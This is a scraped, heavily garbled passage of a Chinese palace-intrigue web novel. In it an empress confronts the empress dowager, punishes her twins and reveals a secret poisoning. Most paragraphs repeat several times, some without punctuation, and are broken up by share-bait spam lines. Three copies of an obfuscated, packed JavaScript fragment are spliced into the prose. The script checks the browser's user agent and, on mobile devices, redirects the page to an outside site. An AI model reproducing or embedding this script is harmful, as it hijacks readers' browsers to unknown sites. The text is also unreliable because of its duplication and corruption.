l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458811|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一环套一环,环环相扣逼**姐姐。 都该死! “那又如何?不洁的女子本就该死,若不是谢容音**,哪轮得到你?算起来,你今日的皇后之位还是哀家帮你铺的路。你该三跪九拜,感谢哀家的大恩大德才是。”苏采薇越说眼神越坚定,似乎真的认可了自己的推论。 可是姐姐根本没想跟裴墨染成婚,姐姐准备私奔去找顾笛风的,而她也根本不想嫁进皇室…… 听说看这本书的人都是很幸运的,分享后你的运气会更棒 时她跟墨染还有婚约她赖活着是想让墨染接手她?若是墨染真娶了她哪还轮得到你?” “云清婳你真是好歹不分!” 云清婳的眼中燃起了熊熊火焰这番话完全激怒了她。 她实在气不过大步上前 别看云清婳虚弱但这一巴掌使用了浑身的气力。 啪—— 一巴掌下去苏采薇的鼻子都流血了。 苏采薇捂着鼻子“你敢打哀家!哀家可是你的婆母。” “打的就是你!婆母算什么?你儿子、孙子我照打!”云清婳的双眸赤红。 苏采薇喘着粗气“你这个疯子!谢容音的死与哀家无关你别像条疯狗一样到处乱咬!” 云清婳在脑中把苏采薇幻想成砧板上的鱼将她开膛破肚剐鳞血流一地才稍稍抚平体内暴虐凶残的情绪。 “蠢货!你真以为自己的哪点伎俩能瞒天过海?裴云澈害死顾笛风顾笛风的死原本被瞒得好好的是谁故意放出来让满京皆知的?” 苏采薇的眸子发飘心虚地眨眨眼。 云清婳眼中的恨意如有实质地刺向她“你想装好人不想提退婚于是就想刺激姐姐逼姐姐自尽。” 他们三个罪魁祸首没有串通勾结但是一环套一环环环相扣逼**姐姐。 都该死! “那又如何?不洁的女子本就该死若不是谢容音**哪轮得到你?算起来你今日的皇后之位还是哀家帮你铺的路。你该三跪九拜感谢哀家的大恩大德才是。”苏采薇越说眼神越坚定似乎真的认可了自己的推论。 可是姐姐根本没想跟裴墨染成婚姐姐准备私奔去找顾笛风的而她也根本不想嫁进皇室…… 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 时她跟墨染还有婚约她赖活着是想让墨染接手她?若是墨染真娶了她哪还轮得到你?” “云清婳你真是好歹不分!” 云清婳的眼中燃起了熊熊火焰这番话完全激怒了她。 她实在气不过大步上前甩了苏采薇一嘴巴“闭嘴!” 别看云清婳虚弱但这一巴掌使用了浑身的气力。 啪—— 一巴掌下去苏采薇的鼻子都流血了。 苏采薇捂着鼻子“你敢打哀家!哀家可是你的婆母。” “打的就是你!婆母算什么?你儿子、孙子我照打!”云清婳的双眸赤红。 苏采薇喘着粗气“你这个疯子!谢容音的死与哀家无关你别像条疯狗一样到处乱咬!” 云清婳在脑中把苏采薇幻想成砧板上的鱼将她开膛破肚剐鳞血流一地才稍稍抚平体内暴虐凶残的情绪。 “蠢货!你真以为自己的哪点伎俩能瞒天过海?裴云澈害死顾笛风顾笛风的死原本被瞒得好好的是谁故意放出来让满京皆知的?” 苏采薇的眸子发飘心虚地眨眨眼。 云清婳眼中的恨意如有实质地刺向她“你想装好人不想提退婚于是就想刺激姐姐逼姐姐自尽。” 他们三个罪魁祸首没有串通勾结但是一环套一环环环相扣逼**姐姐。 都该死! “那又如何?不洁的女子本就该死若不是谢容音** 可是姐姐根本没想跟裴墨染成婚姐姐准备私奔去找顾笛风的而她也根本不想嫁进皇室…… 听说看这本书的人都是很幸运的,分享后你的运气会更棒 时她跟墨染还有婚约她赖活着是想让墨染接手她?若是墨染真娶了她哪还轮得到你?” “云清婳你真是好歹不分!” 云清婳的眼中燃起了熊熊火焰这番话完全激怒了她。 她实在气不过大步上前甩了苏采薇一嘴巴“闭嘴!” 别看云清婳虚弱但这一巴掌使用了浑身的气力。 啪—— 一巴掌下去苏采薇的鼻子都流血了。 苏采薇捂着鼻子 “打的就是你!婆母算什么?你儿子、孙子我照打!”云清婳的双眸赤红。 苏采薇喘着粗气“你这个疯子!谢容音的死与哀家无关你别像条疯狗一样到处乱咬!” 云清婳在脑中把苏采薇幻想成砧板上的鱼将她开膛破肚剐鳞血流一地才稍稍抚平体内暴虐凶残的情绪。 “蠢货!你真以为自己的哪点伎俩能瞒天过海?裴云澈害死顾笛风顾笛风的死原本被瞒得好好的是谁故意放出来让满京皆知的?” 苏采薇的眸子发飘心虚地眨眨眼。 云清婳眼中的恨意如有实质地刺向她“你想装好人不想提退婚于是就想刺激姐姐逼姐姐自尽。” 他们三个罪魁祸首没有串通勾结但是一环套一环环环相扣逼**姐姐。 都该死! “那又如何?不洁的女子本就该死若不是谢容音**哪轮得到你?算起来你今日的皇后之位还是哀家帮你铺的路。你该三跪九拜感谢哀家的大恩大德才是。”苏采薇越说眼神越坚定似乎真的认可了自己的推论。 可是姐姐根本没想跟裴墨染成婚姐姐准备私奔去找顾笛风的而她也根本不想嫁进皇室…… 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第375章 摊牌 但这些云清婳不想再说了。 跟苏采薇这种自说自话的人,多待一分一秒都膈应。 回到坤宁宫,已近黄昏。 云清婳检查了承基、辞忧的课业。 他们的字已经写得很端正整齐了。 承基、辞忧往云清婳的面前凑,站得笔直,小脸扬得高高的,求夸奖的心思溢于言表。 云清婳给足情绪价值,冲他们比了个大拇指,“你们的字写得真漂亮,娘亲奖励你们花生酥吃。” “嘻嘻嘻……”两个小家伙心满意足了。 宫女立即从小厨房将两盘花生酥端来。 “哇……”辞忧迫不及待跑了过去,抓起花生酥就香喷喷吃了起来。 承基对花生酥没这么痴迷,但这是他的奖励,他看重的是“荣耀”。 就在这时,陪读太监走了过来,他俯身在云清婳的耳边说了什么。 云清婳的脸瞬间沉了下去。 她的眼神冷簌簌地射向承基、辞忧。 二人会察言观色,僵在了原地,满脸心虚。 “在上书房午休时,你们把胡太傅的胡子剪了?”她拍了下坐榻扶手。 “……”两个小包子的眼圈瞬间红了,眼泪在眼圈打转然后啪嗒啪嗒地掉。 其实,对于此事,云清婳心里没多少感觉。 这点恶作剧比起她小时候做的事不算什么,但她害怕这点小恶会逐渐演变成大恶。 两个孩子将来会变成另外的她。 所以得抓紧管教,树立正确的道德思想,免得孩子大了就不好管了。 “娘亲,对不起呜呜呜……”承基的脸上全是眼泪,张开双臂就往云清婳的腿上扑。 云清婳这一次轻轻推开了他,双眼坚定地看着他,“承基,你没有对不起娘亲,你对不起的是胡太傅。” 承基一愣,随后眼泪流得更凶了。 辞忧倒是哭得不凶,但她的脸上隐隐挂着不服,她瘪瘪嘴,“我想给布娃娃做头发……胡太傅的胡子很合适……” 众人:??? 事情的走向瞬间变得好笑起来。 所有人都低下头,咬唇忍笑。 “辞忧,我看你的头发挺适合给布娃娃做头发的。”云清婳没好气 道。 “……”辞忧捂着自己的头发,瞬间蔫了。 “可是我们想把布娃娃送娘亲。”承基补了一句。 辞忧先是一愣,随后也点头,“对啊对啊,我们想把布娃娃送娘亲。” 飞霜露出欣慰、感动的眼神。 其他人也于心不忍的看向云清婳。 可云清婳却捕捉到了两个孩子的小动作。 他们真是太聪明了。 年纪轻轻就会玩这一套,打感情牌,让她反过来愧疚。 这招对裴墨染有用,但对她……着实是班门弄斧了。 因为知道孩子在观察她,所以她的脸上没有丝毫波澜,冷淡地说:“一码归一码,拿着花生酥去墙角罚站吧。” “……”两个孩子把脑袋垂得低低的,端着花生酥,去了墙角。 眼泪滴在花生酥上,吃在嘴里,又甜又咸。 承基、辞忧都觉得原本喜欢的糕点在嘴里变得没滋没味,不好吃了。 天黑透时,裴墨染才来。 听到脚步声,两个孩子立即转头,两眼放光。 裴墨染踏进寝殿,就嗅到不同以往的**味。 他环视了一圈,果然在墙角捕捉到了两个恹恹的奶包子。 “爹爹……”他们像是看到了大救星。 “嗯?”云清婳坐在坐榻上,尾音上扬。 两个孩子望着裴墨染,鼻尖一红,含着泪再次转身面壁。 裴墨染有点心疼,他快步朝云清婳走去,他握着她的手,“蛮蛮,他们两个又怎么惹你生气了?两个坏蛋一点都不知道心疼人,你身子不舒服还气你。” 她的黛眉微微一皱,“他们俩把胡太傅的胡子剪了,说要给布娃娃做头发。” “啊?”裴墨染扑哧一声笑了出来。 云清婳狠狠瞪他,“好笑?” “不好笑,一点也不好笑。”他使劲摇头,“两个混世魔王!一点都不懂尊师重道,你罚他们是应该的,下次再这样直接打他们手心跟屁股。” 云清婳对他的回答还算满意,“夫君,孩子胡闹,不管不行的,你不许心软。” “自然,你做得对。”裴墨染搂着她,在她耳边耳语,“所有人都在捧着他们,顺着他们,长久以往他 们难免骄纵蛮横听不得逆言严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16461962|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加管教没有错。” “爹爹可是我想把布娃娃送你……”辞忧说了一句。 承基捂着脸突然哭了“呜呜呜呜不喜欢爹爹了……” 云清婳一脸无奈:…… 众人:??? 裴墨染的眼中升起了愧疚他立即起身想要去抱抱他们。 云清婳一把拉住他的衣袖“方才他们说布娃娃是专门送我的。” “……”裴墨染懵了一下随后才反应过来真相。 这么小的孩子居然都会利用他们的愧疚心了? “呜呜呜……我们想送给爹娘嘛。”承基哭着解释。 裴墨染的眼中出现了动摇云清婳在他手背上掐了一下“你给我清醒一点!” 感到手背的刺痛裴墨染的思绪清晰了些。 这两个小家伙聪明过头了。 随机应变能力极强还很会骗人。 “承基、辞忧永远不准对爹娘说谎。”裴墨染严肃地说“否则日后有什么意外爹娘会来不及给你们兜底。” 二人露出迷茫的眼神。 裴墨染知道他们现在还听不懂但早晚会明白的。 “明日去跟胡太傅认错”他摆摆手“带他们回房。” 两个孩子如蒙大赦 “这就完了?”云清婳白了他一眼。 裴墨染面露疑惑“不然呢?我把他们叫回来你打他们两下?” 她摇摇头她自己生的孩子她舍不得打。 而且她可不想走苏采薇的老路把关系闹僵。 用完膳后他亲自喂云清婳喝药。 他知道云清婳怕苦生怕她故意不喝。 “今日去翊坤宫了?”他漫不经心地问就像在闲聊。 云清婳警觉起来。 这明显是在试探他想知道苏采薇的现状。 “嗯我说过我不能容忍害我性命的人。”她点头。 裴墨染抬起眼皮看她眼神波澜不惊可却急切地问“蛮蛮你做什么了?” “下毒了。”云清婳从袖中掏出蓝瓷瓶。 他喂药的手停在半空中他有些意外一时之间不知道该说什么“你……” “……”云清婳沉着脸用审视的目光打量他。 裴墨染讪讪地抿着唇似乎也发现了自己的反应不对。 “蛮蛮我……” 第376章 两个孩子有点不对劲 “夫君觉得我不应该下毒?我心狠?我是毒妇不成?” 云清婳一连发出三个疑问快要把裴墨染给砸晕。 裴墨染急忙摇头“不我不是这个意思蛮蛮我只是……” “你只是什么?太后给我下毒可以我给太后下毒就不对?”云清婳咄咄逼人地反问。 裴墨染被怼得哑口无言半晌 那狗男人还真是不了解她。 不过还真让他猜对了…… “若是善良就要忍气吞声那我宁愿做一个毒妇。裴墨染在你心里是不是苏采薇的命比我的性命还重要?”云清婳有些赌气。 尽管知道这种情绪不对但她是真的生气了。 狗男人这反应对吗? 他居然担心苏采薇出事? 裴墨染斩钉截铁道:“对我来说这世上无人比你更重要!我也不知道我是怎么了……” 他也觉得自己很矛盾。 他明明是恨苏采薇厌恶苏采薇的可又不想让她死在自己手里。 “你心里果然还念着母子情分。这便是我喂她喝的药。”云清婳将蓝色瓷瓶递给他。 “我没有。”他一边否认一边接过药品他拔开塞子轻嗅。 气味很熟悉是香甜的。 “这是糖水?”裴墨染的眉宇舒展好笑地问。 云清婳剜了他一眼“我吓唬她罢了。” 裴墨染的嘴角的笑纹加深他得意地说:“怎么样?我说得没错吧?蛮蛮是菩萨心肠不会给她下毒的。” 她只觉得讽刺。 成亲这么多年狗男人了解的只是伪装的她。 她就怕裴墨染难以接受所以故意搞了这一出。 真正的**被她命人下在苏采薇平日的饭菜茶水里了今日的实名制**只是掩人耳目。 纵使将来苏采薇毒发裴墨染第一个怀疑的也不会是她。 他内心真正喜欢的是她伪装出来的样子。 “倘若我下了呢?”云清婳挑眉神情稍显邪魅地追问。 他的脸一沉认真道:“若是蛮蛮真的下毒了就下了吧。一命还一命 蛮蛮有造化能活下来至于她能不能活就要看她的造化了。” 云清婳对这个回答并不满意。 事情没发生所以他可以说漂亮话。 裴墨染继续喂她喝药但是明显他的心情好了不少。 “明日改革的结果就出来了届时云家就无事了。”他突然说道。 这比她料想中快。 “夫君准备做什么啊?”她好奇地问。 他的眼中盛着满满的笑他故意卖关子“明日你就知道了。” 云清婳看着他欣喜的模样心终于平稳落地。 她没有赌错。 狗男人在这种大事上不会让她失望。 药喝完了云清婳灌了好几口水吃了一颗蜜饯都没缓过来。 苦涩的药汁仿佛浸透了她的五脏六腑从口腔到胃里都是难言复杂的药味。 她膈应地干呕。 裴墨染轻拍她的背脊“蛮蛮受苦了。” “这药不好以后不吃了。”她的五官拧着。 他心疼不已“怎能不吃?我让太医想想办法把药方开得甜一点?” “那岂不是更恶心了?又涩口又苦又甜的。”她嫌弃的拧眉 裴墨染探着脖子在她唇瓣上蜻蜓点水的碰了一下随后加深了这个吻。 云清婳别过脸推着他的头“诶呀 “没事娘子是甜的。”裴墨染眼中流动着可见的宠溺。 “流氓!”她露出羞赧的表情垂下眼睫似笑非笑。 裴墨染托着她的后脑勺不让她再乱动以吻封缄。 良久云清婳娇喘连连脸上跟脖颈上肌肤都蒙上了一层好看薄红。 她呼呼的喘气吐出的气息自带一股药草味并不难闻反倒增添了一抹奇异的病秧子美人的韵味。 裴墨染轻拍她的胸口云清婳警惕地拿开他的手嗔了他一下“若是没算错陈如燕她们三人这几日就要临盆了夫君可去看过?” “今日一早就去看过了也给了赏赐。”裴墨染揉揉她的脑袋得意地说“就知道你记挂此事我怎舍得让你劳心?” “再有一两个月陆才人她们几个也要生了夫君的子嗣越来越多 了。”她揶揄道。 裴墨染握着她的手给她取暖“蛮蛮你别促狭我了你是知道的我心中只有你跟承基、辞忧。其他人越不过你们。” 忽地外面门外响起扑通一声。 随**院外脚步杂乱惊呼连连。 云清婳一颤裴墨染慌忙搂住她的肩膀他皱眉道:“怎么了?” 王显小跑进来他弓下腰拱手道:“回陛下积雪才化天黑路滑方才有个小太监失足落水了池面上的薄冰都被砸开了。” “快把人捞上来今晚务必将积雪处理了免得扰了皇后跟孩子。”裴墨染摆摆手示意闲杂人退下。 “是。”王显拜了拜转身就走。 云清婳道:“且慢。” 王显一僵他回过神行礼“敢问皇后娘娘有何吩咐?” “何人落水了?”她问。 王显默了默 飞霜道:“是太子、公主的陪读福海。” 云清婳的眸子紧缩她的眸色逐渐加深变得复杂。 方才正是福海告密她才处罚他们的。 结果福海就落水了。 这是巧合吗? 她的直觉告诉她真相绝对没有这么简单。 小时候她也是如此睚眦必报谁惹她不快了她会不着痕迹地报复回去。 随着年纪的增大她做事越来越精密谨慎越来越找不到破绽。 承基、辞忧现在年纪小很容易被看出来等到长大后或许会跟她一模一样。 “怎么了?你担心影响孩子的课业?”裴墨染柔声问“无妨又不止一个陪读。” “不是的春寒料峭的此次落水定会着凉让福海养养病吧。”云清婳道。 裴墨染颔首他轻刮了下她的鼻子“娘子真是善良。” 云清婳心不在焉。 她希望此事跟承基、辞忧没有干系。 倘若有干系希望他们适可而止能保住福海一条命。 …… 晚上云清婳早早就上了榻。 裴墨染确定她的双脚是温热的才安心躺下。 他紧紧搂住云清婳“一晚上闷闷不乐的想什么呢?” 她叹了口气“裴墨染我有点担心承基、辞忧学坏。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 了。”她揶揄道。 裴墨染握着她的手,给她取暖,“蛮蛮,你别促狭我了,你是知道的,我心中只有你跟承基、辞忧。其他人越不过你们。” 忽地,外面门外响起扑通一声。 随**院外脚步杂乱,惊呼连连。 云清婳一颤,裴墨染慌忙搂住她的肩膀,他皱眉道:“怎么了?” 王显小跑进来,他弓下腰拱手道:“回陛下,积雪才化,天黑路滑,方才有个小太监失足落水了,池面上的薄冰都被砸开了。” “快把人捞上来,今晚务必将积雪处理了,免得扰了皇后跟孩子。”裴墨染摆摆手,示意闲杂人退下。 “是。”王显拜了拜,转身就走。 云清婳道:“且慢。” 王显一僵,他回过神行礼,“敢问皇后娘娘有何吩咐?” “何人落水了?”她问。 王显默了默,他看向飞霜。 飞霜道:“是太子、公主的陪读福海。” 云清婳的眸子紧缩,她的眸色逐渐加深,变得复杂。 方才正是福海告密,她才处罚他们的。 结果福海就落水了。 这是巧合吗? 她的直觉告诉她,真相绝对没有这么简单。 小时候,她也是如此睚眦必报,谁惹她不快了,她会不着痕迹地报复回去。 随着年纪的增大,她做事越来越精密谨慎,越来越找不到破绽。 承基、辞忧现在年纪小,很容易被看出来,等到长大后,或许会跟她一模一样。 “怎么了?你担心影响孩子的课业?”裴墨染柔声问,“无妨,又不止一个陪读。” “不是的,春寒料峭的,此次落水定会着凉,让福海养养病吧。”云清婳道。 裴墨染颔首,他轻刮了下她的鼻子,“娘子真是善良。” 云清婳心不在焉。 她希望此事跟承基、辞忧没有干系。 倘若有干系,希望他们适可而止,能保住福海一条命。 …… 晚上,云清婳早早就上了榻。 裴墨染确定她的双脚是温热的,才安心躺下。 他紧紧搂住云清婳,“一晚上闷闷不乐的,想什么呢?” 她叹了口气,“裴墨染,我有点担心承基、辞忧学坏。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 了。”她揶揄道。 裴墨染握着她的手,给她取暖,“蛮蛮,你别促狭我了,你是知道的,我心中只有你跟承基、辞忧。其他人越不过你们。” 忽地,外面门外响起扑通一声。 随**院外脚步杂乱,惊呼连连。 云清婳一颤,裴墨染慌忙搂住她的肩膀,他皱眉道:“怎么了?” 王显小跑进来,他弓下腰拱手道:“回陛下,积雪才化,天黑路滑,方才有个小太监失足落水了,池面上的薄冰都被砸开了。” “快把人捞上来,今晚务必将积雪处理了,免得扰了皇后跟孩子。”裴墨染摆摆手,示意闲杂人退下。 “是。”王显拜了拜,转身就走。 云清婳道:“且慢。” 王显一僵,他回过神行礼,“敢问皇后娘娘有何吩咐?” “何人落水了?”她问。 王显默了默,他看向飞霜。 飞霜道:“是太子、公主的陪读福海。” 云清婳的眸子紧缩,她的眸色逐渐加深,变得复杂。 方才正是福海告密,她才处罚他们的。 结果福海就落水了。 这是巧合吗? 她的直觉告诉她,真相绝对没有这么简单。 小时候,她也是如此睚眦必报,谁惹她不快了,她会不着痕迹地报复回去。 随着年纪的增大,她做事越来越精密谨慎,越来越找不到破绽。 承基、辞忧现在年纪小,很容易被看出来,等到长大后,或许会跟她一模一样。 “怎么了?你担心影响孩子的课业?”裴墨染柔声问,“无妨,又不止一个陪读。” “不是的,春寒料峭的,此次落水定会着凉,让福海养养病吧。”云清婳道。 裴墨染颔首,他轻刮了下她的鼻子,“娘子真是善良。” 云清婳心不在焉。 她希望此事跟承基、辞忧没有干系。 倘若有干系,希望他们适可而止,能保住福海一条命。 …… 晚上,云清婳早早就上了榻。 裴墨染确定她的双脚是温热的,才安心躺下。 他紧紧搂住云清婳,“一晚上闷闷不乐的,想什么呢?” 她叹了口气,“裴墨染,我有点担心承基、辞忧学坏。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 了。她揶揄道。 裴墨染握着她的手,给她取暖,“蛮蛮,你别促狭我了,你是知道的,我心中只有你跟承基、辞忧。其他人越不过你们。 忽地,外面门外响起扑通一声。 随**院外脚步杂乱,惊呼连连。 云清婳一颤,裴墨染慌忙搂住她的肩膀,他皱眉道:“怎么了? 王显小跑进来,他弓下腰拱手道:“回陛下,积雪才化,天黑路滑,方才有个小太监失足落水了,池面上的薄冰都被砸开了。 “快把人捞上来,今晚务必将积雪处理了,免得扰了皇后跟孩子。裴墨染摆摆手,示意闲杂人退下。 “是。王显拜了拜,转身就走。 云清婳道:“且慢。 王显一僵,他回过神行礼,“敢问皇后娘娘有何吩咐? “何人落水了?她问。 王显默了默,他看向飞霜。 飞霜道:“是太子、公主的陪读福海。 云清婳的眸子紧缩,她的眸色逐渐加深,变得复杂。 方才正是福海告密,她才处罚他们的。 结果福海就落水了。 这是巧合吗? 她的直觉告诉她,真相绝对没有这么简单。 小时候,她也是如此睚眦必报,谁惹她不快了,她会不着痕迹地报复回去。 随着年纪的增大,她做事越来越精密谨慎,越来越找不到破绽。 承基、辞忧现在年纪小,很容易被看出来,等到长大后,或许会跟她一模一样。 “怎么了?你担心影响孩子的课业?裴墨染柔声问,“无妨,又不止一个陪读。 “不是的,春寒料峭的,此次落水定会着凉,让福海养养病吧。云清婳道。 裴墨染颔首,他轻刮了下她的鼻子,“娘子真是善良。 云清婳心不在焉。 她希望此事跟承基、辞忧没有干系。 倘若有干系,希望他们适可而止,能保住福海一条命。 …… 晚上,云清婳早早就上了榻。 裴墨染确定她的双脚是温热的,才安心躺下。 他紧紧搂住云清婳,“一晚上闷闷不乐的,想什么呢? 她叹了口气,“裴墨染,我有点担心承基、辞忧学坏。 你的朋友正在书荒,快去帮帮他吧 了。”她揶揄道。 裴墨染握着她的手,给她取暖,“蛮蛮,你别促狭我了,你是知道的,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16461963|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中只有你跟承基、辞忧。其他人越不过你们。” 忽地,外面门外响起扑通一声。 随**院外脚步杂乱,惊呼连连。 云清婳一颤,裴墨染慌忙搂住她的肩膀,他皱眉道:“怎么了?” 王显小跑进来,他弓下腰拱手道:“回陛下,积雪才化,天黑路滑,方才有个小太监失足落水了,池面上的薄冰都被砸开了。” “快把人捞上来,今晚务必将积雪处理了,免得扰了皇后跟孩子。”裴墨染摆摆手,示意闲杂人退下。 “是。”王显拜了拜,转身就走。 云清婳道:“且慢。” 王显一僵,他回过神行礼,“敢问皇后娘娘有何吩咐?” “何人落水了?”她问。 王显默了默,他看向飞霜。 飞霜道:“是太子、公主的陪读福海。” 云清婳的眸子紧缩,她的眸色逐渐加深,变得复杂。 方才正是福海告密,她才处罚他们的。 结果福海就落水了。 这是巧合吗? 她的直觉告诉她,真相绝对没有这么简单。 小时候,她也是如此睚眦必报,谁惹她不快了,她会不着痕迹地报复回去。 随着年纪的增大,她做事越来越精密谨慎,越来越找不到破绽。 承基、辞忧现在年纪小,很容易被看出来,等到长大后,或许会跟她一模一样。 “怎么了?你担心影响孩子的课业?”裴墨染柔声问,“无妨,又不止一个陪读。” “不是的,春寒料峭的,此次落水定会着凉,让福海养养病吧。”云清婳道。 裴墨染颔首,他轻刮了下她的鼻子,“娘子真是善良。” 云清婳心不在焉。 她希望此事跟承基、辞忧没有干系。 倘若有干系,希望他们适可而止,能保住福海一条命。 …… 晚上,云清婳早早就上了榻。 裴墨染确定她的双脚是温热的,才安心躺下。 他紧紧搂住云清婳,“一晚上闷闷不乐的,想什么呢?” 她叹了口气,“裴墨染,我有点担心承基、辞忧学坏。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 了。”她揶揄道。 裴墨染握着她的手给她取暖“蛮蛮你别促狭我了你是知道的我心中只有你跟承基、辞忧。其他人越不过你们。” 忽地外面门外响起扑通一声。 随**院外脚步杂乱惊呼连连。 云清婳一颤裴墨染慌忙搂住她的肩膀他皱眉道:“怎么了?” 王显小跑进来他弓下腰拱手道:“回陛下积雪才化天黑路滑方才有个小太监失足落水了池面上的薄冰都被砸开了。” “快把人捞上来今晚务必将积雪处理了免得扰了皇后跟孩子。”裴墨染摆摆手示意闲杂人退下。 “是。”王显拜了拜转身就走。 云清婳道:“且慢。” 王显一僵他回过神行礼“敢问皇后娘娘有何吩咐?” “何人落水了?”她问。 王显默了默他看向飞霜。 飞霜道:“是太子、公主的陪读福海。” 云清婳的眸子紧缩她的眸色逐渐加深变得复杂。 方才正是福海告密她才处罚他们的。 结果福海就落水了。 这是巧合吗? 她的直觉告诉她真相绝对没有这么简单。 小时候她也是如此睚眦必报谁惹她不快了她会不着痕迹地报复回去。 随着年纪的增大她做事越来越精密谨慎越来越找不到破绽。 承基、辞忧现在年纪小很容易被看出来等到长大后或许会跟她一模一样。 “怎么了?你担心影响孩子的课业?”裴墨染柔声问“无妨又不止一个陪读。” “不是的春寒料峭的此次落水定会着凉让福海养养病吧。”云清婳道。 裴墨染颔首他轻刮了下她的鼻子“娘子真是善良。” 云清婳心不在焉。 她希望此事跟承基、辞忧没有干系。 倘若有干系希望他们适可而止能保住福海一条命。 …… 晚上 裴墨染确定她的双脚是温热的才安心躺下。 他紧紧搂住云清婳“一晚上闷闷不乐的想什么呢?” 她叹了口气“裴墨染我有点担心承基、辞忧学坏。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 了。她揶揄道。 裴墨染握着她的手,给她取暖,“蛮蛮,你别促狭我了,你是知道的,我心中只有你跟承基、辞忧。其他人越不过你们。 忽地,外面门外响起扑通一声。 随**院外脚步杂乱,惊呼连连。 云清婳一颤,裴墨染慌忙搂住她的肩膀,他皱眉道:“怎么了? 王显小跑进来,他弓下腰拱手道:“回陛下,积雪才化,天黑路滑,方才有个小太监失足落水了,池面上的薄冰都被砸开了。 “快把人捞上来,今晚务必将积雪处理了,免得扰了皇后跟孩子。裴墨染摆摆手,示意闲杂人退下。 “是。王显拜了拜,转身就走。 云清婳道:“且慢。 王显一僵,他回过神行礼,“敢问皇后娘娘有何吩咐? “何人落水了?她问。 王显默了默,他看向飞霜。 飞霜道:“是太子、公主的陪读福海。 云清婳的眸子紧缩,她的眸色逐渐加深,变得复杂。 方才正是福海告密,她才处罚他们的。 结果福海就落水了。 这是巧合吗? 她的直觉告诉她,真相绝对没有这么简单。 小时候,她也是如此睚眦必报,谁惹她不快了,她会不着痕迹地报复回去。 随着年纪的增大,她做事越来越精密谨慎,越来越找不到破绽。 承基、辞忧现在年纪小,很容易被看出来,等到长大后,或许会跟她一模一样。 “怎么了?你担心影响孩子的课业?裴墨染柔声问,“无妨,又不止一个陪读。 “不是的,春寒料峭的,此次落水定会着凉,让福海养养病吧。云清婳道。 裴墨染颔首,他轻刮了下她的鼻子,“娘子真是善良。 云清婳心不在焉。 她希望此事跟承基、辞忧没有干系。 倘若有干系,希望他们适可而止,能保住福海一条命。 …… 晚上,云清婳早早就上了榻。 裴墨染确定她的双脚是温热的,才安心躺下。 他紧紧搂住云清婳,“一晚上闷闷不乐的,想什么呢? 她叹了口气,“裴墨染,我有点担心承基、辞忧学坏。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第377章 狗男人贱不贱啊? 裴墨染一愣,他笑了,“还在想两个小家伙撒谎的事?你就是忧思过度,孩子年纪尚小,还不明事理,等长大就好了。再说了哪个小孩子不撒谎?父母严加教导就好了。” “真的?”她看着他的眼睛。 他颔首。 他理解蛮蛮,他们都是第一次做父母,难免会手足无措。 “蛮蛮,你一定是从小到大都太乖了,所以才小题大做。”他在她的脸颊上狠亲了下。 她感到讽刺。 完了……一家四口里,唯一正常的人可能是裴墨染。 “裴墨染,你别闹,我在跟你说正事呢。”她推开他的脸。 裴墨染攥住她冰凉的手,眼神幽幽的,他跟怨妇似的埋怨:“你这小妮子要翻天?整日裴墨染、裴墨染的,我们不熟?你应该唤夫君!” 云清婳乜了他一眼,她突然掀开被褥,伸手朝他身下探去。 几乎同时,裴墨染立马反应过来,在腰下拦截住了她作乱的手。 他好气又好笑,“幸亏我明察秋毫,你抬抬眼皮子,我就知道你又想到什么损招!” “真不害臊!你往哪儿抓呢?你的手都快冻成冰块了,你想把你男人变成废人?” 她坏笑,“那你松开我!硌人!” 裴墨染的耳根子瞬间红透了,那是被人戳穿的窘迫。 他厚着脸皮,将她搂抱得更紧,语无伦次道:“抱一下怎么了?我又不做什么,再说了我是男人,我不这样你才该担心。” 云清婳看着他喋喋不休的唇,忍俊不禁,她说一句,狗男人能说十句。 她把冰凉的双手塞进他的亵衣里,“那你冷静冷静。” 刺骨的寒意贴在腹部,裴墨染倒吸了口凉气。 “现在知道我的好了?还让我松开你,倘若我真松开,我看你今晚怎么办。” 这副模样真是要多欠,有多欠。 辞忧跟他真是一个模子捏出来的。 “闭嘴。”云清婳瞥他。 他不再说话,握着她的腰,唇落在她的唇瓣上,温柔地纠缠。 过了好一会儿,他的声音喑哑,“可以吗?” 云清婳微愣。 她想着明日云家会迎来反转,也不是不可以奖励他一 下。 “嗯。”她看似羞涩地颔首。 但过了好一会儿裴墨染都没有下一步动作。 她蹙眉不解地望着他。 裴墨染扑哧一声笑了“娘子真把我当禽兽了?你身子未愈我怎敢动你?” “蛮蛮这次可是你主动的!你也渴望我对吧?” “我就知道你是故意把手探进我亵衣的你果然在勾引我。” 云清婳的面皮登时通红。 不是这人有病吧? 